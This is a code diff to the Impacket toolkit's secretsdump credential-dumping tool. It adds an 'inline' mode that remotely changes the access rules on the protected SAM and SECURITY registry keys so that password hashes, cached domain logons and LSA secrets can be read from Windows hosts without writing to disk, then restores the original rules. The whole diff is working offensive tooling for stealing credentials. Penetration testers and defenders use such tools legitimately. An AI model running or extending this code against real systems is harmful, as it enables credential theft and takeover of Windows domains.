diff --git a/examples/secretsdump.py b/examples/secretsdump.py index a881a8cef..3204f305b 100755 --- a/examples/secretsdump.py +++ b/examples/secretsdump.py @@ -99,7 +99,10 @@ def __init__(self, remoteName, username='', password='', domain='', options=None self.__history = options.history self.__noLMHash = True self.__isRemote = True - self.__outputFileName = options.outputfile + self.__useNTDS = options.use_ntds + self.__isInline = options.inline + self.__restore = options.restore + self.__outputFileName = options.outputfile self.__doKerberos = options.k self.__justDC = options.just_dc self.__justDCNTLM = options.just_dc_ntlm @@ -204,9 +207,10 @@ def dump(self): self.__remoteOps.setExecMethod(self.__options.exec_method) if self.__justDC is False and self.__justDCNTLM is False and self.__useKeyListMethod is False or self.__useVSSMethod is True: self.__remoteOps.enableRegistry() - bootKey = self.__remoteOps.getBootKey() - # Let's check whether target system stores LM Hashes - self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() + if self.__restore is False: + bootKey = self.__remoteOps.getBootKey() + # Let's check whether target system stores LM Hashes + self.__noLMHash = self.__remoteOps.checkNoLMHashPolicy() except Exception as e: self.__canProcessSAMLSA = False if str(e).find('STATUS_USER_SESSION_DELETED') and os.getenv('KRB5CCNAME') is not None \ @@ -218,7 +222,7 @@ def dump(self): logging.error('RemoteOperations failed: %s' % str(e)) # If the KerberosKeyList method is enable we dump the secrets only via TGS-REQ - if self.__useKeyListMethod is True: + if self.__useKeyListMethod is True and self.__restore is False: try: self.__KeyListSecrets = KeyListSecrets(self.__domain, self.__remoteName, self.__rodc, self.__aesKeyRodc, self.__remoteOps) self.__KeyListSecrets.dump() @@ -226,27 +230,38 @@ def dump(self): logging.error('Something went wrong with the Kerberos Key List approach.: %s' % str(e)) else: # If RemoteOperations succeeded, then we can extract SAM and LSA - if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA: + if self.__justDC is False and self.__justDCNTLM is False and self.__canProcessSAMLSA and self.__restore is False: try: - if self.__isRemote is True: + if self.__isInline is True: + self.__remoteOps.prepareDumpInline() + except Exception as e: + logging.error('Modifying ACLs failed: %s' % str(e)) + + try: + if self.__isInline is True: + SAMFileName = None + elif self.__isRemote is True: SAMFileName = self.__remoteOps.saveSAM() else: SAMFileName = self.__samHive - self.__SAMHashes = SAMHashes(SAMFileName, bootKey, isRemote = self.__isRemote) + self.__SAMHashes = SAMHashes(SAMFileName, bootKey, remoteOps = self.__remoteOps, isInline = self.__isInline, isRemote = self.__isRemote) self.__SAMHashes.dump() + if self.__outputFileName is not None: self.__SAMHashes.export(self.__outputFileName) except Exception as e: logging.error('SAM hashes extraction failed: %s' % str(e)) try: - if self.__isRemote is True: + if self.__isInline is True: + SECURITYFileName = None + elif self.__isRemote is True: SECURITYFileName = self.__remoteOps.saveSECURITY() else: SECURITYFileName = self.__securityHive - self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, + self.__LSASecrets = LSASecrets(SECURITYFileName, bootKey, self.__remoteOps, isInline=self.__isInline, isRemote=self.__isRemote, history=self.__history) self.__LSASecrets.dumpCachedHashes() if self.__outputFileName is not None: @@ -260,40 +275,45 @@ def dump(self): traceback.print_exc() logging.error('LSA hashes extraction failed: %s' % str(e)) - # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work - if self.__isRemote is True: - if self.__useVSSMethod and self.__remoteOps is not None and self.__remoteOps.getRRP() is not None: - NTDSFileName = self.__remoteOps.saveNTDS() + if self.__useNTDS: + # NTDS Extraction we can try regardless of RemoteOperations failing. It might still work + if self.__isRemote is True: + if self.__useVSSMethod and self.__remoteOps is not None and self.__remoteOps.getRRP() is not None: + NTDSFileName = self.__remoteOps.saveNTDS() + else: + NTDSFileName = None else: - NTDSFileName = None - else: - NTDSFileName = self.__ntdsFile - - self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, - noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, - useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, - pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, - outputFileName=self.__outputFileName, justUser=self.__justUser, - ldapFilter=self.__ldapFilter, printUserStatus=self.__printUserStatus) - try: - self.__NTDSHashes.dump() - except Exception as e: - if logging.getLogger().level == logging.DEBUG: - import traceback - traceback.print_exc() - if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: - # We don't store the resume file if this error happened, since this error is related to lack - # of enough privileges to access DRSUAPI. - resumeFile = self.__NTDSHashes.getResumeSessionFile() - if resumeFile is not None: - os.unlink(resumeFile) - logging.error(e) - if (self.__justUser or self.__ldapFilter) and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: - logging.info("You just got that error because there might be some duplicates of the same name. " - "Try specifying the domain name for the user as well. It is important to specify it " - "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") - elif self.__useVSSMethod is False: - logging.info('Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter') + NTDSFileName = self.__ntdsFile + + self.__NTDSHashes = NTDSHashes(NTDSFileName, bootKey, isRemote=self.__isRemote, history=self.__history, + noLMHash=self.__noLMHash, remoteOps=self.__remoteOps, + useVSSMethod=self.__useVSSMethod, justNTLM=self.__justDCNTLM, + pwdLastSet=self.__pwdLastSet, resumeSession=self.__resumeFileName, + outputFileName=self.__outputFileName, justUser=self.__justUser, + ldapFilter=self.__ldapFilter, printUserStatus=self.__printUserStatus) + try: + self.__NTDSHashes.dump() + except Exception as e: + if logging.getLogger().level == logging.DEBUG: + import traceback + traceback.print_exc() + if str(e).find('ERROR_DS_DRA_BAD_DN') >= 0: + # We don't store the resume file if this error happened, since this error is related to lack + # of enough privileges to access DRSUAPI. + resumeFile = self.__NTDSHashes.getResumeSessionFile() + if resumeFile is not None: + os.unlink(resumeFile) + logging.error(e) + if (self.__justUser or self.__ldapFilter) and str(e).find("ERROR_DS_NAME_ERROR_NOT_UNIQUE") >= 0: + logging.info("You just got that error because there might be some duplicates of the same name. " + "Try specifying the domain name for the user as well. It is important to specify it " + "in the form of NetBIOS domain name/user (e.g. contoso/Administratror).") + elif self.__useVSSMethod is False: + logging.info('Something went wrong with the DRSUAPI approach. Try again with -use-vss parameter') + + if self.__restore is True: + self.__remoteOps.restoreDaclFromFile() + self.cleanup() except (Exception, KeyboardInterrupt) as e: if logging.getLogger().level == logging.DEBUG: @@ -324,6 +344,8 @@ def dump(self): def cleanup(self): logging.info('Cleaning up... ') + if self.__isInline and self.__remoteOps: + self.__remoteOps.revertDacl() if self.__remoteOps: self.__remoteOps.finish() if self.__SAMHashes: @@ -364,6 +386,12 @@ def cleanup(self): help='base output filename. Extensions will be added for sam, secrets, cached and ntds') parser.add_argument('-use-vss', action='store_true', default=False, help='Use the VSS method instead of default DRSUAPI') + parser.add_argument('-use-ntds', action='store_true', default=False, + help='Perform NTDS extraction') + parser.add_argument('-inline', action='store_true', default=False, + help='SAM and LSA Secrets extraction without touching disk') + parser.add_argument('-restore', action='store_true', default=False, + help='Restore DACLs in case the inline dump method failed') parser.add_argument('-rodcNo', action='store', type=int, help='Number of the RODC krbtgt account (only avaiable for Kerb-Key-List approach)') parser.add_argument('-rodcKey', action='store', help='AES key of the Read Only Domain Controller (only avaiable for Kerb-Key-List approach)') parser.add_argument('-use-keylist', action='store_true', default=False, diff --git a/impacket/dcerpc/v5/rrp.py b/impacket/dcerpc/v5/rrp.py index 71b836e3d..d89b025e1 100644 --- a/impacket/dcerpc/v5/rrp.py +++ b/impacket/dcerpc/v5/rrp.py @@ -853,7 +853,17 @@ def hBaseRegGetKeySecurity(dce, hKey, securityInformation = OWNER_SECURITY_INFOR request['hKey'] = hKey request['SecurityInformation'] = securityInformation request['pRpcSecurityDescriptorIn']['lpSecurityDescriptor'] = NULL - request['pRpcSecurityDescriptorIn']['cbInSecurityDescriptor'] = 1024 + request['pRpcSecurityDescriptorIn']['cbInSecurityDescriptor'] = 4096 + + return dce.request(request) + +def hBaseRegSetKeySecurity(dce, hKey, sd, securityInformation = OWNER_SECURITY_INFORMATION): + request = BaseRegSetKeySecurity() + request['hKey'] = hKey + request['SecurityInformation'] = securityInformation + request['pRpcSecurityDescriptor']['lpSecurityDescriptor'] = sd.getData() + request['pRpcSecurityDescriptor']['cbInSecurityDescriptor'] = len(sd.getData()) + request['pRpcSecurityDescriptor']['cbOutSecurityDescriptor'] = len(sd.getData()) return dce.request(request) diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py index ceb34be89..edecfb0fa 100644 --- a/impacket/examples/secretsdump.py +++ b/impacket/examples/secretsdump.py @@ -54,6 +54,7 @@ import ntpath import os import re +import base64 import random import string import time @@ -69,7 +70,8 @@ from impacket.ldap.ldap import SimplePagedResultsControl, LDAPSearchError from impacket.ldap.ldapasn1 import SearchResultEntry from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi -from impacket.dcerpc.v5.dtypes import NULL, SID +from impacket.ldap import ldaptypes +from impacket.dcerpc.v5.dtypes import NULL, SID, OWNER_SECURITY_INFORMATION, GROUP_SECURITY_INFORMATION, DACL_SECURITY_INFORMATION, SECURITY_DESCRIPTOR, RPC_SID from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \ @@ -394,6 +396,9 @@ def __init__(self, smbConnection, doKerberos, kdcHost=None, ldapConnection=None) self.__disabled = False self.__shouldStop = False self.__started = False + self.__sdHistory = {} + self.__keyHistory = [] + self.__backupDaclFile = "secretsdump_dacl_backup.json" self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]' self.__scmr = None @@ -426,6 +431,9 @@ def __connectWinReg(self): def getRRP(self): return self.__rrp + + def getRegHandle(self): + return self.__regHandle def connectSamr(self, domain): rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr) @@ -807,6 +815,24 @@ def enableRegistry(self): self.__checkServiceStatus() self.__connectWinReg() + def getRegValue(self, keyValue): + regKey = ntpath.dirname(keyValue) + regValue = ntpath.basename(keyValue) + + hKey = self.__regHandle + dce = self.__rrp + + ans = rrp.hBaseRegOpenKey(dce, hKey, regKey) + keyHandle = ans['phkResult'] + + if regValue == "default": + regValue = "" + + dataType, dataValue = rrp.hBaseRegQueryValue(dce, keyHandle, regValue) + rrp.hBaseRegCloseKey(dce, keyHandle) + + return dataValue + def __restore(self): # First of all stop the service if it was originally stopped if self.__shouldStop is True: @@ -1190,6 +1216,137 @@ def saveNTDS(self): return remoteFileName + def __create_ace(self, sid, mask): + ace = ldaptypes.ACE() + ace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE + ace['AceFlags'] = ldaptypes.ACE.CONTAINER_INHERIT_ACE + ace_data = ldaptypes.ACCESS_ALLOWED_ACE() + ace_data['Mask'] = ldaptypes.ACCESS_MASK() + ace_data['Mask']['Mask'] = mask + ace_data['Sid'] = ldaptypes.LDAP_SID() + ace_data['Sid'].fromCanonical(sid) + ace['Ace'] = ace_data + return ace + + def __create_sd(self, control, owner_sid, group_sid, sacl, acl): + sd = ldaptypes.SR_SECURITY_DESCRIPTOR() + sd['Revision'] = b'\x01' + sd['Sbz1'] = b'\x00' + sd['Control'] = control + sd['OwnerSid'] = owner_sid + sd['GroupSid'] = group_sid + sd['Sacl'] = sacl + sd['Dacl'] = acl + return sd + + def changeDacl(self, keys, sid): + for key in keys: + if key in self.__keyHistory: + continue + + try: + ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, key) + except Exception as e: + continue + + LOG.debug("Changing DACL for " + key) + + keyHandle = ans['phkResult'] + + try: + ans = rrp.hBaseRegGetKeySecurity(self.__rrp, keyHandle, OWNER_SECURITY_INFORMATION | GROUP_SECURITY_INFORMATION | DACL_SECURITY_INFORMATION) + except Exception as e: + LOG.error("Exception hBaseRegGetKeySecurity: " + str(e)) + rrp.hBaseRegCloseKey(self.__rrp, keyHandle) + continue + + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=b"".join(ans['pRpcSecurityDescriptorOut']['lpSecurityDescriptor'])) + + mask = ldaptypes.ACCESS_MASK.WRITE_DACL | ldaptypes.ACCESS_MASK.READ_CONTROL | rrp.KEY_ENUMERATE_SUB_KEYS | rrp.KEY_QUERY_VALUE + ace = self.__create_ace(sid, mask) + + acl = ldaptypes.ACL(sd['Dacl'].getData()) + #acl.aces.insert(0, ace) + acl.aces.append(ace) + acl['AceCount'] = len(acl.aces) + + new_acl = ldaptypes.ACL(data=acl.getData()) + + new_sd = self.__create_sd(sd['Control'], sd['OwnerSid'], sd['GroupSid'], b'', new_acl) + + try: + ans = rrp.hBaseRegSetKeySecurity(self.__rrp, keyHandle, new_sd, DACL_SECURITY_INFORMATION) + except Exception as e: + LOG.error("Exception hBaseRegGetKeySecurity: " + str(e)) + rrp.hBaseRegCloseKey(self.__rrp, keyHandle) + continue + + self.__keyHistory.append(key) + self.__sdHistory[key] = base64.b64encode(sd.getData()).decode('utf-8') + #LOG.debug(sd.getData()) + + #serialized_dict = {} + #for key, value in self.__sdHistory.items(): + # serialized_dict[key] = base64.b64encode(value).decode('utf-8') + with open(self.__backupDaclFile, 'w') as file: + json.dump(self.__sdHistory, file) + + rrp.hBaseRegCloseKey(self.__rrp, keyHandle) + + def revertDacl(self): + for key in reversed(self.__keyHistory): + LOG.debug("Reverting DACL for " + key) + + try: + ans = rrp.hBaseRegOpenKey(self.__rrp, self.__regHandle, key) + except Exception as e: + LOG.error("Exception hBaseRegOpenKey: " + str(e)) + continue + + keyHandle = ans['phkResult'] + + try: + #ans = rrp.hBaseRegSetKeySecurity(self.__rrp, keyHandle, self.__sdHistory[key], DACL_SECURITY_INFORMATION) + sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=base64.b64decode(self.__sdHistory[key])) + ans = rrp.hBaseRegSetKeySecurity(self.__rrp, keyHandle, sd, DACL_SECURITY_INFORMATION) + except Exception as e: + LOG.error("Exception hBaseRegGetKeySecurity: " + str(e)) + rrp.hBaseRegCloseKey(self.__rrp, keyHandle) + continue + + if key in self.__sdHistory: + self.__sdHistory.pop(key) + + if key in self.__keyHistory: + self.__keyHistory.remove(key) + + with open(self.__backupDaclFile, 'w') as file: + json.dump(self.__sdHistory, file) + + rrp.hBaseRegCloseKey(self.__rrp, keyHandle) + + def restoreDaclFromFile(self): + ans = rrp.hOpenLocalMachine(self.__rrp) + self.__regHandle = ans['phKey'] + + if os.path.exists(self.__backupDaclFile): + with open(self.__backupDaclFile, 'r') as file: + for line in file: + serialized_dict = json.loads(line) + for key, value in serialized_dict.items(): + self.__keyHistory.append(key) + self.__sdHistory[key] = value + + def prepareDumpInline(self): + keys = [r'SAM\SAM', r'SAM\SAM\Domains', r'SAM\SAM\Domains\Account', r'SAM\SAM\Domains\Account\Users', r'SECURITY\Policy\Secrets', r'SECURITY\Policy\Secrets\NL$KM', r'SECURITY\Policy\Secrets\NL$KM\CurrVal', r'SECURITY\Cache', r'SECURITY\Policy\PolEKList', r'SECURITY\Policy\PolSecretEncryptionKey'] + + try: + self.changeDacl(keys, "S-1-5-32-544") + except Exception as e: + LOG.error('Changing ACLs failed: %s' % str(e)) + self.revertDacl() + + class CryptoCommon: # Common crypto stuff used over different classes def deriveKey(self, baseKey): @@ -1273,8 +1430,10 @@ def finish(self): self.__registryHive.close() class SAMHashes(OfflineRegistry): - def __init__(self, samFile, bootKey, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)): + def __init__(self, samFile, bootKey, remoteOps = None, isInline = False, isRemote = False, perSecretCallback = lambda secret: _print_helper(secret)): OfflineRegistry.__init__(self, samFile, isRemote) + self.__isInline = isInline + self.__remoteOps = remoteOps self.__samFile = samFile self.__hashedBootKey = b'' self.__bootKey = bootKey @@ -1292,7 +1451,10 @@ def getHBootKey(self): QWERTY = b"!@#$%^&*()qwertyUIOPAzxcvbnmQQQQQQQQQQQQ)(*@&%\0" DIGITS = b"0123456789012345678901234567890123456789\0" - F = self.getValue(ntpath.join(r'SAM\Domains\Account','F'))[1] + if self.__isInline is True: + F = self.__remoteOps.getRegValue(r'SAM\SAM\Domains\Account\F') + else: + F = self.getValue(ntpath.join(r'SAM\Domains\Account','F'))[1] domainData = DOMAIN_ACCOUNT_F(F) @@ -1339,7 +1501,7 @@ def dump(self): NTPASSWORD = b"NTPASSWORD\0" LMPASSWORD = b"LMPASSWORD\0" - if self.__samFile is None: + if self.__samFile is None and self.__isInline is False: # No SAM file provided return @@ -1349,7 +1511,27 @@ def dump(self): usersKey = 'SAM\\Domains\\Account\\Users' # Enumerate all the RIDs - rids = self.enumKey(usersKey) + if self.__isInline is True: + usersKey = r'SAM\SAM\Domains\Account\Users' + hKey = self.__remoteOps.getRegHandle() + dce = self.__remoteOps.getRRP() + + ans = rrp.hBaseRegOpenKey(dce, hKey, usersKey) + keyHandle = ans['phkResult'] + + rids = [] + i = 0 + while True: + try: + key = rrp.hBaseRegEnumKey(dce, keyHandle, i) + rids.append(key['lpNameOut'][:-1]) + i += 1 + except Exception: + break + else: + usersKey = r'SAM\Domains\Account\Users' + rids = self.enumKey(usersKey) + # Remove the Names item try: rids.remove('Names') @@ -1357,7 +1539,13 @@ def dump(self): pass for rid in rids: - userAccount = USER_ACCOUNT_V(self.getValue(ntpath.join(usersKey,rid,'V'))[1]) + if self.__isInline is True: + self.__remoteOps.changeDacl([ntpath.join(usersKey,rid)], "S-1-5-32-544") + V_val = self.__remoteOps.getRegValue(ntpath.join(usersKey,rid,'V')) + else: + V_val = self.getValue(ntpath.join(usersKey,rid,'V'))[1] + + userAccount = USER_ACCOUNT_V(V_val) rid = int(rid,16) V = userAccount['Data'] @@ -1421,10 +1609,11 @@ class SECRET_TYPE: LSA_RAW = 2 LSA_KERBEROS = 3 - def __init__(self, securityFile, bootKey, remoteOps=None, isRemote=False, history=False, + def __init__(self, securityFile, bootKey, remoteOps=None, isInline = False, isRemote=False, history=False, perSecretCallback=lambda secretType, secret: _print_helper(secret)): OfflineRegistry.__init__(self, securityFile, isRemote) self.__hashedBootKey = b'' + self.__isInline = isInline self.__bootKey = bootKey self.__LSAKey = b'' self.__NKLMKey = b'' @@ -1502,29 +1691,45 @@ def __decryptLSA(self, value): def __getLSASecretKey(self): LOG.debug('Decrypting LSA Key') # Let's try the key post XP - value = self.getValue('\\Policy\\PolEKList\\default') + + if self.__isInline is True: + value = self.__remoteOps.getRegValue(r'SECURITY\Policy\PolEKList\default') + else: + value = self.getValue('\\Policy\\PolEKList\\default')[1] + if value is None: LOG.debug('PolEKList not found, trying PolSecretEncryptionKey') # Second chance - value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default') + + if self.__isInline is True: + value = self.__remoteOps.getRegValue(r'SECURITY\Policy\PolSecretEncryptionKey\default') + else: + value = self.getValue('\\Policy\\PolSecretEncryptionKey\\default')[1] + self.__vistaStyle = False if value is None: # No way :( return None - self.__decryptLSA(value[1]) + self.__decryptLSA(value) def __getNLKMSecret(self): LOG.debug('Decrypting NL$KM') - value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default') + + if self.__isInline is True: + value = self.__remoteOps.getRegValue(r'SECURITY\Policy\Secrets\NL$KM\CurrVal\default') + else: + value = self.getValue('\\Policy\\Secrets\\NL$KM\\CurrVal\\default')[1] + if value is None: raise Exception("Couldn't get NL$KM value") + if self.__vistaStyle is True: - record = LSA_SECRET(value[1]) + record = LSA_SECRET(value) tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) self.__NKLMKey = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) else: - self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value[1]) + self.__NKLMKey = self.__decryptSecret(self.__LSAKey, value) def __pad(self, data): if (data & 0x3) > 0: @@ -1533,14 +1738,33 @@ def __pad(self, data): return data def dumpCachedHashes(self): - if self.__securityFile is None: + if self.__securityFile is None and self.__isInline is False: # No SECURITY file provided return LOG.info('Dumping cached domain logon information (domain/username:hash)') - # Let's first see if there are cached entries - values = self.enumValues('\\Cache') + if self.__isInline is True: + cacheKey = r'SECURITY\Cache' + hKey = self.__remoteOps.getRegHandle() + dce = self.__remoteOps.getRRP() + + ans = rrp.hBaseRegOpenKey(dce, hKey, cacheKey) + keyHandle = ans['phkResult'] + + values = [] + i = 0 + while True: + try: + key = rrp.hBaseRegEnumValue(dce, keyHandle, i) + values.append(key['lpValueNameOut'][:-1]) + i += 1 + except Exception: + break + else: + # Let's first see if there are cached entries + values = [item.decode('utf-8') for item in self.enumValues('\\Cache')] + if values is None: # No cache entries return @@ -1555,7 +1779,11 @@ def dumpCachedHashes(self): if b'NL$IterationCount' in values: values.remove(b'NL$IterationCount') - record = self.getValue('\\Cache\\NL$IterationCount')[1] + if self.__isInline is True: + record = self.__remoteOps.getRegValue(ntpath.join(cacheKey, 'NL$IterationCount')) + else: + record = self.getValue('\\Cache\\NL$IterationCount')[1] + if record > 10240: iterationCount = record & 0xfffffc00 else: @@ -1565,8 +1793,18 @@ def dumpCachedHashes(self): self.__getNLKMSecret() for value in values: - LOG.debug('Looking into %s' % value.decode('utf-8')) - record = NL_RECORD(self.getValue(ntpath.join('\\Cache',value.decode('utf-8')))[1]) + LOG.debug('Looking into %s' % value) + + if self.__isInline is True: + NL = self.__remoteOps.getRegValue(ntpath.join(cacheKey, value)) + else: + NL = self.getValue(ntpath.join('\\Cache',value))[1] + + try: + record = NL_RECORD(NL) + except: + break + if record['IV'] != 16 * b'\x00': #if record['UserLength'] > 0: if record['Flags'] & 1 == 1: @@ -1754,14 +1992,33 @@ def __printMachineKerberos(self, rawsecret, machinename): return False def dumpSecrets(self): - if self.__securityFile is None: + if self.__securityFile is None and self.__isInline is False: # No SECURITY file provided return LOG.info('Dumping LSA Secrets') - # Let's first see if there are cached entries - keys = self.enumKey('\\Policy\\Secrets') + if self.__isInline is True: + policyKey = r'SECURITY\Policy\Secrets' + hKey = self.__remoteOps.getRegHandle() + dce = self.__remoteOps.getRRP() + + ans = rrp.hBaseRegOpenKey(dce, hKey, policyKey) + keyHandle = ans['phkResult'] + + keys = [] + i = 0 + while True: + try: + key = rrp.hBaseRegEnumKey(dce, keyHandle, i) + keys.append(key['lpNameOut'][:-1]) + i += 1 + except Exception: + break + else: + # Let's first see if there are cached entries + keys = self.enumKey('\\Policy\\Secrets') + if keys is None: # No entries return @@ -1782,16 +2039,22 @@ def dumpSecrets(self): valueTypeList.append('OldVal') for valueType in valueTypeList: - value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType)) - if value is not None and value[1] != 0: + if self.__isInline is True: + self.__remoteOps.changeDacl([ntpath.join(policyKey, key)], "S-1-5-32-544") + self.__remoteOps.changeDacl([ntpath.join(policyKey, key, valueType)], "S-1-5-32-544") + value = self.__remoteOps.getRegValue(ntpath.join(policyKey, key, valueType, 'default')) + else: + value = self.getValue('\\Policy\\Secrets\\{}\\{}\\default'.format(key,valueType))[1] + + if value is not None and value != 0 and value != b'': if self.__vistaStyle is True: - record = LSA_SECRET(value[1]) + record = LSA_SECRET(value) tmpKey = self.__sha256(self.__LSAKey, record['EncryptedData'][:32]) plainText = self.__cryptoCommon.decryptAES(tmpKey, record['EncryptedData'][32:]) record = LSA_SECRET_BLOB(plainText) secret = record['Secret'] else: - secret = self.__decryptSecret(self.__LSAKey, value[1]) + secret = self.__decryptSecret(self.__LSAKey, value) # If this is an OldVal secret, let's append '_history' to be able to distinguish it and # also be consistent with NTDS history